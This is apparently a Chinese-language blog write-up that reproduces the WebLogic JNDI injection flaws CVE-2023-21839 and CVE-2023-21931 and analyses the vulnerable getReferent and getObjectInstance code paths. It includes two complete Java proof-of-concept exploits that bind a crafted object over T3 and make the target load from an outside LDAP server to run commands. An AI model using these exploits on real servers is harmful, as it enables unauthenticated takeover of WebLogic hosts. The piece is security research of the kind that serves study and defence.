前言

之前没复现过Weblogic相关的漏洞,现在有空就想复现一下今年爆出的两个漏洞CVE-2023-21839和CVE-2023-21931,跟着大佬的文章学习一手

T3协议

T3协议参考https://c0ny1.gitbooks.io/javasec/content/jing-dian-an-li/t3xie-yi-yan-jiu.html

查阅资料发现weblogic的反序列化漏洞大致分为两种,一种是基于T3协议的反序列化漏洞,一种是基于XML的反序列化漏洞。

关于这个T3协议,是Weblogic里面独有的一个协议,传输的数据是序列化后的数据,而服务器在接收到数据后会进行一个反序列化的操作,所以下面提到的两个漏洞都是属于后序列化漏洞

后序列化漏洞

image-20230628161949561

Weblogic反序列化漏洞挖掘思路是利⽤ readObject() 、 readResolve() 、 readExternal() 等反序列化⽅法对恶意序列化数据进⾏操作,以达到攻击⽬的。常规的漏洞思路重点关注Weblogic在反序列化过程中进⾏恶意攻击,⽽忽略了反序列化完成后的操作。后反序列化漏洞挖掘的思路重点关注Weblogic完成反序列化过程后,在达到某个时机或执⾏操作后触发的漏洞攻击。

CVE-2023-21839

漏洞描述

WebLogic存在远程代码执行漏洞,该漏洞允许未经身份验证的远程攻击者通过T3/IIOP协议网络访问并破坏易受攻击的WebLogic服务器,成功利用此漏洞可能导致Oracle WebLogic服务器被接管或敏感信息泄露。漏洞原理其实是通过Weblogic t3/iiop协议支持远程绑定对象bind到服务端,当远程对象继承自OpaqueReference时,lookup查看远程对象时,服务端调用远程对象getReferent方法,其中的remoteJNDIName参数可控,导致攻击者可利用rmi/ldap远程协议进行远程命令执行。

POC

package org.example;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
import weblogic.deployment.jms.ForeignOpaqueReference;

public class App {
    public static void main(String[] args) throws Exception {
        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";

        // 创建用来远程绑定对象的InitialContext
        String url = "t3://192.168.79.133:7001"; // 目标机器
        Hashtable env1 = new Hashtable();
        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env1.put(Context.PROVIDER_URL, url); // 目标
        InitialContext c = new InitialContext(env1);

        // ForeignOpaqueReference的jndiEnvironment属性
        Hashtable env2 = new Hashtable();
        env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

        // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
        ForeignOpaqueReference f = new ForeignOpaqueReference();
        Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f, env2);
        Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        String ldap = "ldap://192.168.10.14:1389/Basic/Command/calc";
        remoteJNDIName.set(f, ldap);

        // 远程绑定ForeignOpaqueReference对象
        c.rebind("sectest", f);

        // lookup查询ForeignOpaqueReference对象
        try {
            c.lookup("sectest");
        } catch (Exception e) {
        }
    }
}

分析

QpaqueReference在官方文档中提示了当实现此接口的对象从 WLContext 中检索(通过查找或 listBindings)时,由 getReferent() 返回对象。

因为ForeignOpaqueReference继承QpaqueReference,在远程查询该对象的时候,调用的将会是ForeignOpaqueReference.getReferent方法。

漏洞利用点在weblogic.deployment.jms.ForeignOpaqueReference.getReferent方法

image-20230628163800653

分析这个方法,发现在后续的进行lookup操作之前会检查 JNDI 环境是否已正确配置以访问远程资源,主要是对jndiEnvironment和remoteJNDIName的检测,如果在if中的任何一个条件为真,那么将调用对象的lookup方法,其中remoteJNDINamejndiEnvironment是可以通过反射修改

image-20230628170005065

结合上面方框的代码其实可以发现,只要this.jndiEnvironment不为空,就可以对InitialContext进行初始化

现在要解决的问题是remoteJNDINamejndiEnvironment要修改成怎样的值才能利用lookup()

目前能确定的是remoteJNDIName=ldap://x.x.x.x:1389/aaaa

进入lookup,需要满足判断:满足一个条件就行

if (this.jndiEnvironment == null || !AQJMS_ICF.equals(this.jndiEnvironment.get("java.naming.factory.initial")) || this.remoteJNDIName == null || !this.remoteJNDIName.startsWith(AQJMS_QPREFIX) && !this.remoteJNDIName.startsWith(AQJMS_TPREFIX)) {
                retVal = context.lookup(evalMacros(this.remoteJNDIName));
} 

由于前面jndiEnvironmentremoteJNDIName赋值了,this.jndiEnvironment == nullthis.remoteJNDIName == null就不满足了

AQJMS_ICF.equals(this.jndiEnvironment.get("java.naming.factory.initial")) 是对 AQJMS_ICFthis.jndiEnvironment.get("java.naming.factory.initial") 进行比较。

其中get("java.naming.factory.initial") 方法获取到其属性 “java.naming.factory.initial” 对应的值,如果 AQJMS_ICFthis.jndiEnvironment.get("java.naming.factory.initial") 的值相等,那么比较结果将为 true;否则,比较结果将为 false

后面的 !this.remoteJNDIName.startsWith(AQJMS_QPREFIX) && !this.remoteJNDIName.startsWith(AQJMS_TPREFIX)的意思是判断remoteJNDIName的开头

image-20230628173243969

根据POC,jndiEnvironment传入的是一个Hashtable 对象

Hashtable env2 = new Hashtable();
env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

在判断条件 AQJMS_ICF.equals(this.jndiEnvironment.get("java.naming.factory.initial")) 中,this.jndiEnvironment.get(“java.naming.factory.initial”) 获取到的是 env2中存储的上下文工厂类com.sun.jndi.rmi.registry.RegistryContextFactory。

和AQJMS_ICF的值不相等,返回false,前面取“!” ,变为true所以进入判断

POC代码似乎没有哪里是不懂的了,目前就先这样

CVE-2023-21931

分析

这个漏洞的原理和上面的差不多,漏洞触发点在WLNamingManager类的 getObjectInstance()方法中:

image-20230628223712362

可以看到当传入的 boundObject 对象是 LinkRef 的实现类时,则调用传入对象 boundObject getLinkName() 方法,并通过lookup() 方法对 getLinkName() 方法返回的 linkAddrType 地址进行远程JNDI加载

image-20230628223927784

漏洞JNDI地址构造在LinkRef这个类中,LinkRef是Java的一个原生类。通过LinkRef类中的构造方法,我们可以控制变量linkAddrType的值, 再通过getLinkName()方法将linkAddrType作为字符串返回。

image-20230628224853045

到这里还有一个疑问,怎样才能调用getObjectInstance()方法?

参考https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_zh_CN.md

查看t3的lookup()方法的调用栈:

  • Weblogic在接收到请求后,通过BasicServerRef类中的invoke()方法解析传入数据。
  • 通过_invoke()方法,Weblogic根据传入的方法名resolve_any 执行的resolve_any()方法。
  • resolve_any()方法中,通过resolveObject()方法对传入的绑定命名进行解析。
  • resolveObject()方法中,根据上下文信息调用其中的lookup()方法。
  • 根据上下文中的信息,经过在WLContextImplWLEventContextImplWLEventContextImplRootNamingNode ServerNamingNodeBasicNamingNode类中一系列的lookup()方法调用,实现BasicNamingNode类中的resolveObject()方法调用。
  • 由于传入resolveObject()方法中的obj不是NamingNode类的实例,且mode的值默认为1,所以会调用WLNamingManager类中的getObjectInstance()方法。

最终,可以看到WLNamingManager类的getObjectInstance()方法根据传入的对象接口类型,调用对象中的getReferent()方法,完成漏洞触发点的lookup()方法调用。实际上这两个CVE漏洞都是通过getObjectInstance()的两个分支触发的。

POC

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.LinkRef;
import java.util.Hashtable;
//import weblogic.jndi.internal.WLNamingManager;
public class exp {
    public static void main(String[] agrs) throws Exception {
        String url = "t3://192.168.79.133:7001";
        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
        Hashtable ht = new Hashtable();
        ht.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        ht.put(Context.PROVIDER_URL, url); // 目标
        InitialContext c = new InitialContext(ht);
        LinkRef LR = new LinkRef("ldap://192.168.10.14:1389/Basic/Command/whoami");
        c.rebind("poc", LR);
        c.lookup("poc");
    }
}